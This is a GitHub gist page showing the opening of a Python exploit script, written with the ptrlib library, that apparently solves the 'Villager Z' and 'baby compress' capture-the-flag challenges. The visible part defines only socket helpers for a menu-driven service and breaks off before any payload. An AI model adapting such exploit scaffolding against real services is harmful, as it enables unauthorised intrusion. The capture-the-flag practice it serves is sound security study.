Skip to content

Instantly share code, notes, and snippets.

View task4233's full-sized avatar
💭
:thinking_face:

Takashi MIMA task4233

💭
:thinking_face:
View GitHub Profile
@ptr-yudai
ptr-yudai / exploit_bc.py
Last active July 24, 2020 07:54
Villager Zとbaby compressを解くやつ
from ptrlib import *
def add(index, data):
sock.sendlineafter("> ", "1")
sock.sendlineafter(": ", str(index))
sock.sendlineafter(": ", data)
def show(index):
sock.sendlineafter("> ", "5")
sock.sendlineafter(": ", str(index))
length = int(sock.recvlineafter(": "))